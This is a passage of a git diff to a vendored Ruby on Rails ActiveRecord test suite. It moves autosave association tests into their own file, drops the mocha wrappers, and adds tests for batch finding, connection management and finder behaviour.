client.new_record? - - firm.unvalidated_clients_of_firm << client - - assert firm.save - assert !client.new_record? - assert_equal no_of_clients+1, Client.count - end - def test_build company = companies(:first_firm) new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") } @@ -400,10 +325,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal "Another Client", new_client.name assert new_client.new_record? assert_equal new_client, company.clients_of_firm.last - company.name += '-changed' - assert_queries(2) { assert company.save } - assert !new_client.new_record? - assert_equal 2, company.clients_of_firm(true).size end def test_collection_size_after_building @@ -428,11 +349,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase def test_build_many company = companies(:first_firm) new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) } - assert_equal 2, new_clients.size - company.name += '-changed' - assert_queries(3) { assert company.save } - assert_equal 3, company.clients_of_firm(true).size end def test_build_followed_by_save_does_not_load_target @@ -463,10 +380,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal "Another Client", new_client.name assert new_client.new_record? assert_equal new_client, company.clients_of_firm.last - company.name += '-changed' - assert_queries(2) { assert company.save } - assert !new_client.new_record? - assert_equal 2, company.clients_of_firm(true).size end def test_build_many_via_block @@ -480,10 +393,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 2, new_clients.size assert_equal "changed", new_clients.first.name assert_equal "changed", new_clients.last.name - - company.name += '-changed' - assert_queries(3) { assert company.save } - assert_equal 3, company.clients_of_firm(true).size end def test_create_without_loading_association @@ -501,16 +410,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 2, first_firm.clients_of_firm.size end - def test_invalid_build - new_client = companies(:first_firm).clients_of_firm.build - assert new_client.new_record? - assert !new_client.valid? - assert_equal new_client, companies(:first_firm).clients_of_firm.last - assert !companies(:first_firm).save - assert new_client.new_record? - assert_equal 1, companies(:first_firm).clients_of_firm(true).size - end - def test_create force_signal37_to_load_all_clients_of_firm new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client") @@ -843,15 +742,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert !firm.clients.include?(:first_client) end - def test_replace_on_new_object - firm = Firm.new("name" => "New Firm") - firm.clients = [companies(:second_client), Client.new("name" => "New Client")] - assert firm.save - firm.reload - assert_equal 2, firm.clients.length - assert firm.clients.include?(Client.find_by_name("New Client")) - end - def test_get_ids assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids end @@ -879,15 +769,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert company.clients_using_sql.loaded? end - def test_assign_ids - firm = Firm.new("name" => "Apple") - firm.client_ids = [companies(:first_client).id, companies(:second_client).id] - firm.save - firm.reload - assert_equal 2, firm.clients.length - assert firm.clients.include?(companies(:second_client)) - end - def test_assign_ids_ignoring_blanks firm = Firm.create!(:name => 'Apple') firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, ''] @@ -910,16 +791,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection, &block) } end - - def test_assign_ids_for_through_a_belongs_to - post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!") - post.person_ids = [people(:david).id, people(:michael).id] - post.save - post.reload - assert_equal 2, post.people.length - assert post.people.include?(people(:david)) - end - def test_dynamic_find_should_respect_association_order_for_through assert_equal Comment.find(10), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'") assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type('SpecialComment') @@ -1097,12 +968,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase ActiveRecord::Base.store_full_sti_class = old end - uses_mocha 'mocking Comment.transaction' do - def test_association_proxy_transaction_method_starts_transaction_in_association_class - Comment.expects(:transaction) - Post.find(:first).comments.transaction do - # nothing - end + def test_association_proxy_transaction_method_starts_transaction_in_association_class + Comment.expects(:transaction) + Post.find(:first).comments.transaction do + # nothing end end diff --git a/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb index ad6a5d68..1e5d1a02 100644 --- a/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb +++ b/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb @@ -228,12 +228,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert !person.posts.loaded? end - uses_mocha 'mocking Tag.transaction' do - def test_association_proxy_transaction_method_starts_transaction_in_association_class - Tag.expects(:transaction) - Post.find(:first).tags.transaction do - # nothing - end + def test_association_proxy_transaction_method_starts_transaction_in_association_class + Tag.expects(:transaction) + Post.find(:first).tags.transaction do + # nothing end end diff --git a/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb index 14032a67..e81bba79 100644 --- a/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb +++ b/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb @@ -193,28 +193,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert_equal account, firm.account end - def test_build_before_child_saved - firm = Firm.find(1) - - account = firm.account.build("credit_limit" => 1000) - assert_equal account, firm.account - assert account.new_record? - assert firm.save - assert_equal account, firm.account - assert !account.new_record? - end - - def test_build_before_either_saved - firm = Firm.new("name" => "GlobalMegaCorp") - - firm.account = account = Account.new("credit_limit" => 1000) - assert_equal account, firm.account - assert account.new_record? - assert firm.save - assert_equal account, firm.account - assert !account.new_record? - end - def test_failing_build_association firm = Firm.new("name" => "GlobalMegaCorp") firm.save @@ -253,16 +231,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase firm.destroy end - def test_assignment_before_parent_saved - firm = Firm.new("name" => "GlobalMegaCorp") - firm.account = a = Account.find(1) - assert firm.new_record? - assert_equal a, firm.account - assert firm.save - assert_equal a, firm.account - assert_equal a, firm.account(true) - end - def test_finding_with_interpolated_condition firm = Firm.find(:first) superior = firm.clients.create(:name => 'SuperiorCo') @@ -279,61 +247,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert_equal a, firm.account assert_equal a, firm.account(true) end - - def test_save_fails_for_invalid_has_one - firm = Firm.find(:first) - assert firm.valid? - - firm.account = Account.new - - assert !firm.account.valid? - assert !firm.valid? - assert !firm.save - assert_equal "is invalid", firm.errors.on("account") - end - - - def test_save_succeeds_for_invalid_has_one_with_validate_false - firm = Firm.find(:first) - assert firm.valid? - - firm.unvalidated_account = Account.new - - assert !firm.unvalidated_account.valid? - assert firm.valid? - assert firm.save - end - - def test_assignment_before_either_saved - firm = Firm.new("name" => "GlobalMegaCorp") - firm.account = a = Account.new("credit_limit" => 1000) - assert firm.new_record? - assert a.new_record? - assert_equal a, firm.account - assert firm.save - assert !firm.new_record? - assert !a.new_record? - assert_equal a, firm.account - assert_equal a, firm.account(true) - end - - def test_not_resaved_when_unchanged - firm = Firm.find(:first, :include => :account) - firm.name += '-changed' - assert_queries(1) { firm.save! } - - firm = Firm.find(:first) - firm.account = Account.find(:first) - assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! } - - firm = Firm.find(:first).clone - firm.account = Account.find(:first) - assert_queries(2) { firm.save! } - - firm = Firm.find(:first).clone - firm.account = Account.find(:first).clone - assert_queries(2) { firm.save! } - end def test_save_still_works_after_accessing_nil_has_one jp = Company.new :name => 'Jaded Pixel' diff --git a/vendor/rails/activerecord/test/cases/associations/join_model_test.rb b/vendor/rails/activerecord/test/cases/associations/join_model_test.rb index 7a0427aa..b1060d01 100644 --- a/vendor/rails/activerecord/test/cases/associations/join_model_test.rb +++ b/vendor/rails/activerecord/test/cases/associations/join_model_test.rb @@ -510,13 +510,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert !author.comments.loaded? end - uses_mocha('has_many_through_collection_size_uses_counter_cache_if_it_exists') do - def test_has_many_through_collection_size_uses_counter_cache_if_it_exists - author = authors(:david) - author.stubs(:read_attribute).with('comments_count').returns(100) - assert_equal 100, author.comments.size - assert !author.comments.loaded? - end + def test_has_many_through_collection_size_uses_counter_cache_if_it_exists + author = authors(:david) + author.stubs(:read_attribute).with('comments_count').returns(100) + assert_equal 100, author.comments.size + assert !author.comments.loaded? end def test_adding_junk_to_has_many_through_should_raise_type_mismatch diff --git a/vendor/rails/activerecord/test/cases/attribute_methods_test.rb b/vendor/rails/activerecord/test/cases/attribute_methods_test.rb index 77ee8d8f..759f9f38 100644 --- a/vendor/rails/activerecord/test/cases/attribute_methods_test.rb +++ b/vendor/rails/activerecord/test/cases/attribute_methods_test.rb @@ -56,6 +56,18 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert_equal myobj, topic.content end + def test_typecast_attribute_from_select_to_false + topic = Topic.create(:title => 'Budget') + topic = Topic.find(:first, :select => "topics.*, 1=2 as is_test") + assert !topic.is_test? + end + + def test_typecast_attribute_from_select_to_true + topic = Topic.create(:title => 'Budget') + topic = Topic.find(:first, :select => "topics.*, 2=2 as is_test") + assert topic.is_test? + end + def test_kernel_methods_not_implemented_in_activerecord %w(test name display y).each do |method| assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined" diff --git a/vendor/rails/activerecord/test/cases/autosave_association_test.rb b/vendor/rails/activerecord/test/cases/autosave_association_test.rb index 3c656b24..b179bd82 100644 --- a/vendor/rails/activerecord/test/cases/autosave_association_test.rb +++ b/vendor/rails/activerecord/test/cases/autosave_association_test.rb @@ -1,10 +1,17 @@ -require "cases/helper" -require "models/pirate" -require "models/ship" -require "models/ship_part" -require "models/bird" -require "models/parrot" -require "models/treasure" +require 'cases/helper' +require 'models/bird' +require 'models/company' +require 'models/customer' +require 'models/developer' +require 'models/order' +require 'models/parrot' +require 'models/person' +require 'models/pirate' +require 'models/post' +require 'models/reader' +require 'models/ship' +require 'models/ship_part' +require 'models/treasure' class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase def test_autosave_should_be_a_valid_option_for_has_one @@ -30,6 +37,383 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase end end +class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase + def test_save_fails_for_invalid_has_one + firm = Firm.find(:first) + assert firm.valid? + + firm.account = Account.new + + assert !firm.account.valid? + assert !firm.valid? + assert !firm.save + assert_equal "is invalid", firm.errors.on("account") + end + + def test_save_succeeds_for_invalid_has_one_with_validate_false + firm = Firm.find(:first) + assert firm.valid? + + firm.unvalidated_account = Account.new + + assert !firm.unvalidated_account.valid? + assert firm.valid? + assert firm.save + end + + def test_build_before_child_saved + firm = Firm.find(1) + + account = firm.account.build("credit_limit" => 1000) + assert_equal account, firm.account + assert account.new_record? + assert firm.save + assert_equal account, firm.account + assert !account.new_record? + end + + def test_build_before_either_saved + firm = Firm.new("name" => "GlobalMegaCorp") + + firm.account = account = Account.new("credit_limit" => 1000) + assert_equal account, firm.account + assert account.new_record? + assert firm.save + assert_equal account, firm.account + assert !account.new_record? + end + + def test_assignment_before_parent_saved + firm = Firm.new("name" => "GlobalMegaCorp") + firm.account = a = Account.find(1) + assert firm.new_record? + assert_equal a, firm.account + assert firm.save + assert_equal a, firm.account + assert_equal a, firm.account(true) + end + + def test_assignment_before_either_saved + firm = Firm.new("name" => "GlobalMegaCorp") + firm.account = a = Account.new("credit_limit" => 1000) + assert firm.new_record? + assert a.new_record? + assert_equal a, firm.account + assert firm.save + assert !firm.new_record? + assert !a.new_record? + assert_equal a, firm.account + assert_equal a, firm.account(true) + end + + def test_not_resaved_when_unchanged + firm = Firm.find(:first, :include => :account) + firm.name += '-changed' + assert_queries(1) { firm.save! } + + firm = Firm.find(:first) + firm.account = Account.find(:first) + assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! } + + firm = Firm.find(:first).clone + firm.account = Account.find(:first) + assert_queries(2) { firm.save! } + + firm = Firm.find(:first).clone + firm.account = Account.find(:first).clone + assert_queries(2) { firm.save! } + end +end + +class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase + def test_save_fails_for_invalid_belongs_to + assert log = AuditLog.create(:developer_id => 0, :message => "") + + log.developer = Developer.new + assert !log.developer.valid? + assert !log.valid? + assert !log.save + assert_equal "is invalid", log.errors.on("developer") + end + + def test_save_succeeds_for_invalid_belongs_to_with_validate_false + assert log = AuditLog.create(:developer_id => 0, :message=> "") + + log.unvalidated_developer = Developer.new + assert !log.unvalidated_developer.valid? + assert log.valid? + assert log.save + end + + def test_assignment_before_parent_saved + client = Client.find(:first) + apple = Firm.new("name" => "Apple") + client.firm = apple + assert_equal apple, client.firm + assert apple.new_record? + assert client.save + assert apple.save + assert !apple.new_record? + assert_equal apple, client.firm + assert_equal apple, client.firm(true) + end + + def test_assignment_before_either_saved + final_cut = Client.new("name" => "Final Cut") + apple = Firm.new("name" => "Apple") + final_cut.firm = apple + assert final_cut.new_record? + assert apple.new_record? + assert final_cut.save + assert !final_cut.new_record? + assert !apple.new_record? + assert_equal apple, final_cut.firm + assert_equal apple, final_cut.firm(true) + end + + def test_store_two_association_with_one_save + num_orders = Order.count + num_customers = Customer.count + order = Order.new + + customer1 = order.billing = Customer.new + customer2 = order.shipping = Customer.new + assert order.save + assert_equal customer1, order.billing + assert_equal customer2, order.shipping + + order.reload + + assert_equal customer1, order.billing + assert_equal customer2, order.shipping + + assert_equal num_orders +1, Order.count + assert_equal num_customers +2, Customer.count + end + + def test_store_association_in_two_relations_with_one_save + num_orders = Order.count + num_customers = Customer.count + order = Order.new + + customer = order.billing = order.shipping = Customer.new + assert order.save + assert_equal customer, order.billing + assert_equal customer, order.shipping + + order.reload + + assert_equal customer, order.billing + assert_equal customer, order.shipping + + assert_equal num_orders +1, Order.count + assert_equal num_customers +1, Customer.count + end + + def test_store_association_in_two_relations_with_one_save_in_existing_object + num_orders = Order.count + num_customers = Customer.count + order = Order.create + + customer = order.billing = order.shipping = Customer.new + assert order.save + assert_equal customer, order.billing + assert_equal customer, order.shipping + + order.reload + + assert_equal customer, order.billing + assert_equal customer, order.shipping + + assert_equal num_orders +1, Order.count + assert_equal num_customers +1, Customer.count + end + + def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values + num_orders = Order.count + num_customers = Customer.count + order = Order.create + + customer = order.billing = order.shipping = Customer.new + assert order.save + assert_equal customer, order.billing + assert_equal customer, order.shipping + + order.reload + + customer = order.billing = order.shipping = Customer.new + + assert order.save + order.reload + + assert_equal customer, order.billing + assert_equal customer, order.shipping + + assert_equal num_orders +1, Order.count + assert_equal num_customers +2, Customer.count + end +end + +class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase + fixtures :companies, :people + + def test_invalid_adding + firm = Firm.find(1) + assert !(firm.clients_of_firm << c = Client.new) + assert c.new_record? + assert !firm.valid? + assert !firm.save + assert c.new_record? + end + + def test_invalid_adding_before_save + no_of_firms = Firm.count + no_of_clients = Client.count + new_firm = Firm.new("name" => "A New Firm, Inc") + new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")]) + assert c.new_record? + assert !c.valid? + assert !new_firm.valid? + assert !new_firm.save + assert c.new_record? + assert new_firm.new_record? + end + + def test_invalid_adding_with_validate_false + firm = Firm.find(:first) + client = Client.new + firm.unvalidated_clients_of_firm << client + + assert firm.valid? + assert !client.valid? + assert firm.save + assert client.new_record? + end + + def test_valid_adding_with_validate_false + no_of_clients = Client.count + + firm = Firm.find(:first) + client = Client.new("name" => "Apple") + + assert firm.valid? + assert client.valid? + assert client.new_record? + + firm.unvalidated_clients_of_firm << client + + assert firm.save + assert !client.new_record? + assert_equal no_of_clients+1, Client.count + end + + def test_invalid_build + new_client = companies(:first_firm).clients_of_firm.build + assert new_client.new_record? + assert !new_client.valid? + assert_equal new_client, companies(:first_firm).clients_of_firm.last + assert !companies(:first_firm).save + assert new_client.new_record? + assert_equal 1, companies(:first_firm).clients_of_firm(true).size + end + + def test_adding_before_save + no_of_firms = Firm.count + no_of_clients = Client.count + + new_firm = Firm.new("name" => "A New Firm, Inc") + c = Client.new("name" => "Apple") + + new_firm.clients_of_firm.push Client.new("name" => "Natural Company") + assert_equal 1, new_firm.clients_of_firm.size + new_firm.clients_of_firm << c + assert_equal 2, new_firm.clients_of_firm.size + + assert_equal no_of_firms, Firm.count # Firm was not saved to database. + assert_equal no_of_clients, Client.count # Clients were not saved to database. + assert new_firm.save + assert !new_firm.new_record? + assert !c.new_record? + assert_equal new_firm, c.firm + assert_equal no_of_firms+1, Firm.count # Firm was saved to database. + assert_equal no_of_clients+2, Client.count # Clients were saved to database. + + assert_equal 2, new_firm.clients_of_firm.size + assert_equal 2, new_firm.clients_of_firm(true).size + end + + def test_assign_ids + firm = Firm.new("name" => "Apple") + firm.client_ids = [companies(:first_client).id, companies(:second_client).id] + firm.save + firm.reload + assert_equal 2, firm.clients.length + assert firm.clients.include?(companies(:second_client)) + end + + def test_assign_ids_for_through_a_belongs_to + post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!") + post.person_ids = [people(:david).id, people(:michael).id] + post.save + post.reload + assert_equal 2, post.people.length + assert post.people.include?(people(:david)) + end + + def test_build_before_save + company = companies(:first_firm) + new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") } + assert !company.clients_of_firm.loaded? + + company.name += '-changed' + assert_queries(2) { assert company.save } + assert !new_client.new_record? + assert_equal 2, company.clients_of_firm(true).size + end + + def test_build_many_before_save + company = companies(:first_firm) + new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) } + + company.name += '-changed' + assert_queries(3) { assert company.save } + assert_equal 3, company.clients_of_firm(true).size + end + + def test_build_via_block_before_save + company = companies(:first_firm) + new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } } + assert !company.clients_of_firm.loaded? + + company.name += '-changed' + assert_queries(2) { assert company.save } + assert !new_client.new_record? + assert_equal 2, company.clients_of_firm(true).size + end + + def test_build_many_via_block_before_save + company = companies(:first_firm) + new_clients = assert_no_queries do + company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client| + client.name = "changed" + end + end + + company.name += '-changed' + assert_queries(3) { assert company.save } + assert_equal 3, company.clients_of_firm(true).size + end + + def test_replace_on_new_object + firm = Firm.new("name" => "New Firm") + firm.clients = [companies(:second_client), Client.new("name" => "New Client")] + assert firm.save + firm.reload + assert_equal 2, firm.clients.length + assert firm.clients.include?(Client.find_by_name("New Client")) + end +end + class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase self.use_transactional_fixtures = false @@ -62,6 +446,14 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase assert_nil Ship.find_by_id(id) end + def test_should_skip_validation_on_a_child_association_if_marked_for_destruction + @pirate.ship.name = '' + assert !@pirate.valid? + + @pirate.ship.mark_for_destruction + assert_difference('Ship.count', -1) { @pirate.save! } + end + def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child # Stub the save method of the @pirate.ship instance to destroy and then raise an exception class << @pirate.ship @@ -91,6 +483,14 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase assert_nil Pirate.find_by_id(id) end + def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction + @ship.pirate.catchphrase = '' + assert !@ship.valid? + + @ship.pirate.mark_for_destruction + assert_difference('Pirate.count', -1) { @ship.save! } + end + def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent # Stub the save method of the @ship.pirate instance to destroy and then raise an exception class << @ship.pirate @@ -124,6 +524,17 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase ids.each { |id| assert_nil klass.find_by_id(id) } end + define_method("test_should_skip_validation_on_the_#{association_name}_association_if_marked_for_destruction") do + 2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") } + children = @pirate.send(association_name) + + children.each { |child| child.name = '' } + assert !@pirate.valid? + + children.each { |child| child.mark_for_destruction } + assert_difference("#{association_name.classify}.count", -2) { @pirate.save! } + end + define_method("test_should_rollback_destructions_if_an_exception_occurred_while_saving_#{association_name}") do 2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") } before = @pirate.send(association_name).map { |c| c } @@ -169,12 +580,26 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase assert_equal 'The Vile Insanity', @pirate.reload.ship.name end + def test_should_automatically_save_bang_the_associated_model + @pirate.ship.name = 'The Vile Insanity' + @pirate.save! + assert_equal 'The Vile Insanity', @pirate.reload.ship.name + end + def test_should_automatically_validate_the_associated_model @pirate.ship.name = '' assert !@pirate.valid? assert !@pirate.errors.on(:ship_name).blank? end + def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid + @pirate.ship.name = nil + @pirate.catchphrase = nil + assert !@pirate.valid? + assert !@pirate.errors.on(:ship_name).blank? + assert !@pirate.errors.on(:catchphrase).blank? + end + def test_should_still_allow_to_bypass_validations_on_the_associated_model @pirate.catchphrase = '' @pirate.ship.name = '' @@ -245,12 +670,26 @@ class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase assert_equal 'Arr', @ship.reload.pirate.catchphrase end + def test_should_automatically_save_bang_the_associated_model + @ship.pirate.catchphrase = 'Arr' + @ship.save! + assert_equal 'Arr', @ship.reload.pirate.catchphrase + end + def test_should_automatically_validate_the_associated_model @ship.pirate.catchphrase = '' assert !@ship.valid? assert !@ship.errors.on(:pirate_catchphrase).blank? end + def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid + @ship.name = nil + @ship.pirate.catchphrase = nil + assert !@ship.valid? + assert !@ship.errors.on(:name).blank? + assert !@ship.errors.on(:pirate_catchphrase).blank? + end + def test_should_still_allow_to_bypass_validations_on_the_associated_model @ship.pirate.catchphrase = '' @ship.name = '' @@ -298,6 +737,14 @@ module AutosaveAssociationOnACollectionAssociationTests assert_equal new_names, @pirate.reload.send(@association_name).map(&:name) end + def test_should_automatically_save_bang_the_associated_models + new_names = ['Grace OMalley', 'Privateers Greed'] + @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] } + + @pirate.save! + assert_equal new_names, @pirate.reload.send(@association_name).map(&:name) + end + def test_should_automatically_validate_the_associated_models @pirate.send(@association_name).each { |child| child.name = '' } @@ -306,7 +753,24 @@ module AutosaveAssociationOnACollectionAssociationTests assert @pirate.errors.on(@association_name).blank? end - def test_should_still_allow_to_bypass_validations_on_the_associated_models + def test_should_not_use_default_invalid_error_on_associated_models + @pirate.send(@association_name).build(:name => '') + + assert !@pirate.valid? + assert_equal "can't be blank", @pirate.errors.on("#{@association_name}_name") + assert @pirate.errors.on(@association_name).blank? + end + + def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid + @pirate.send(@association_name).each { |child| child.name = '' } + @pirate.catchphrase = nil + + assert !@pirate.valid? + assert_equal "can't be blank", @pirate.errors.on("#{@association_name}_name") + assert !@pirate.errors.on(:catchphrase).blank? + end + + def test_should_allow_to_bypass_validations_on_the_associated_models_on_update @pirate.catchphrase = '' @pirate.send(@association_name).each { |child| child.name = '' } @@ -318,6 +782,20 @@ module AutosaveAssociationOnACollectionAssociationTests ] end + def test_should_validation_the_associated_models_on_create + assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do + 2.times { @pirate.send(@association_name).build } + @pirate.save(true) + end + end + + def test_should_allow_to_bypass_validations_on_the_associated_models_on_create + assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", +2) do + 2.times { @pirate.send(@association_name).build } + @pirate.save(false) + end + end + def test_should_rollback_any_changes_if_an_exception_occurred_while_saving before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)] new_names = ['Grace OMalley', 'Privateers Greed'] @@ -347,7 +825,9 @@ module AutosaveAssociationOnACollectionAssociationTests def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! } - assert_queries(2) do + @pirate.send(@association_name).class # hack to load the target + + assert_queries(3) do @pirate.catchphrase = 'Yarr' new_names = ['Grace OMalley', 'Privateers Greed'] @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] } diff --git a/vendor/rails/activerecord/test/cases/batches_test.rb b/vendor/rails/activerecord/test/cases/batches_test.rb new file mode 100644 index 00000000..108d6791 --- /dev/null +++ b/vendor/rails/activerecord/test/cases/batches_test.rb @@ -0,0 +1,49 @@ +require 'cases/helper' +require 'models/post' + +class EachTest < ActiveRecord::TestCase + fixtures :posts + + def setup + @posts = Post.all(:order => "id asc") + @total = Post.count + end + + def test_each_should_excecute_one_query_per_batch + assert_queries(Post.count + 1) do + Post.each(:batch_size => 1) do |post| + assert_kind_of Post, post + end + end + end + + def test_each_should_raise_if_the_order_is_set + assert_raise(RuntimeError) do + Post.each(:order => "title") { |post| post } + end + end + + def test_each_should_raise_if_the_limit_is_set + assert_raise(RuntimeError) do + Post.each(:limit => 1) { |post| post } + end + end + + def test_find_in_batches_should_return_batches + assert_queries(Post.count + 1) do + Post.find_in_batches(:batch_size => 1) do |batch| + assert_kind_of Array, batch + assert_kind_of Post, batch.first + end + end + end + + def test_find_in_batches_should_start_from_the_start_option + assert_queries(Post.count) do + Post.find_in_batches(:batch_size => 1, :start => 2) do |batch| + assert_kind_of Array, batch + assert_kind_of Post, batch.first + end + end + end +end \ No newline at end of file diff --git a/vendor/rails/activerecord/test/cases/calculations_test.rb b/vendor/rails/activerecord/test/cases/calculations_test.rb index 080f6a70..5a4ed429 100644 --- a/vendor/rails/activerecord/test/cases/calculations_test.rb +++ b/vendor/rails/activerecord/test/cases/calculations_test.rb @@ -156,25 +156,23 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 1, c[companies(:first_client)] end - uses_mocha 'group_by_non_numeric_foreign_key_association' do - def test_should_group_by_association_with_non_numeric_foreign_key - ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}]) + def test_should_group_by_association_with_non_numeric_foreign_key + ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}]) - firm = mock() - firm.expects(:id).returns("ABC") - firm.expects(:class).returns(Firm) - Company.expects(:find).with(["ABC"]).returns([firm]) + firm = mock() + firm.expects(:id).returns("ABC") + firm.expects(:class).returns(Firm) + Company.expects(:find).with(["ABC"]).returns([firm]) - column = mock() - column.expects(:name).at_least_once.returns(:firm_id) - column.expects(:type_cast).with("ABC").returns("ABC") - Account.expects(:columns).at_least_once.returns([column]) + column = mock() + column.expects(:name).at_least_once.returns(:firm_id) + column.expects(:type_cast).with("ABC").returns("ABC") + Account.expects(:columns).at_least_once.returns([column]) - c = Account.count(:all, :group => :firm) - first_key = c.keys.first - assert_equal Firm, first_key.class - assert_equal 1, c[first_key] - end + c = Account.count(:all, :group => :firm) + first_key = c.keys.first + assert_equal Firm, first_key.class + assert_equal 1, c[first_key] end def test_should_calculate_grouped_association_with_foreign_key_option diff --git a/vendor/rails/activerecord/test/cases/connection_pool_test.rb b/vendor/rails/activerecord/test/cases/connection_pool_test.rb new file mode 100644 index 00000000..cc9b2a45 --- /dev/null +++ b/vendor/rails/activerecord/test/cases/connection_pool_test.rb @@ -0,0 +1,25 @@ +require "cases/helper" + +class ConnectionManagementTest < ActiveRecord::TestCase + def setup + @env = {} + @app = stub('App') + @management = ActiveRecord::ConnectionAdapters::ConnectionManagement.new(@app) + + @connections_cleared = false + ActiveRecord::Base.stubs(:clear_active_connections!).with { @connections_cleared = true } + end + + test "clears active connections after each call" do + @app.expects(:call).with(@env) + @management.call(@env) + assert @connections_cleared + end + + test "doesn't clear active connections when running in a test case" do + @env['rack.test'] = true + @app.expects(:call).with(@env) + @management.call(@env) + assert !@connections_cleared + end +end \ No newline at end of file diff --git a/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb b/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb index bff092b5..88fb6f73 100644 --- a/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb +++ b/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb @@ -26,6 +26,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase def setup @connection = ActiveRecord::Base.connection + @connection.execute("set lc_monetary = 'C'") @connection.execute("INSERT INTO postgresql_arrays (commission_by_quarter, nicknames) VALUES ( '{35000,21000,18000,17000}', '{foo,bar,baz}' )") @first_array = PostgresqlArray.find(1) diff --git a/vendor/rails/activerecord/test/cases/finder_test.rb b/vendor/rails/activerecord/test/cases/finder_test.rb index d4d770b0..ee8f4901 100644 --- a/vendor/rails/activerecord/test/cases/finder_test.rb +++ b/vendor/rails/activerecord/test/cases/finder_test.rb @@ -94,7 +94,16 @@ class FinderTest < ActiveRecord::TestCase assert_raise(NoMethodError) { Topic.exists?([1,2]) } end - + + def test_exists_returns_true_with_one_record_and_no_args + assert Topic.exists? + end + + def test_does_not_exist_with_empty_table_and_no_args_given + Topic.delete_all + assert !Topic.exists? + end + def test_exists_with_aggregate_having_three_mappings existing_address = customers(:david).address assert Customer.exists?(:address => existing_address) @@ -298,6 +307,12 @@ class FinderTest < ActiveRecord::TestCase assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) } end + def test_find_on_hash_conditions_with_end_exclusive_range + assert_equal [1,2,3], Topic.find(:all, :conditions => { :id => 1..3 }).map(&:id).sort + assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1...3 }).map(&:id).sort + 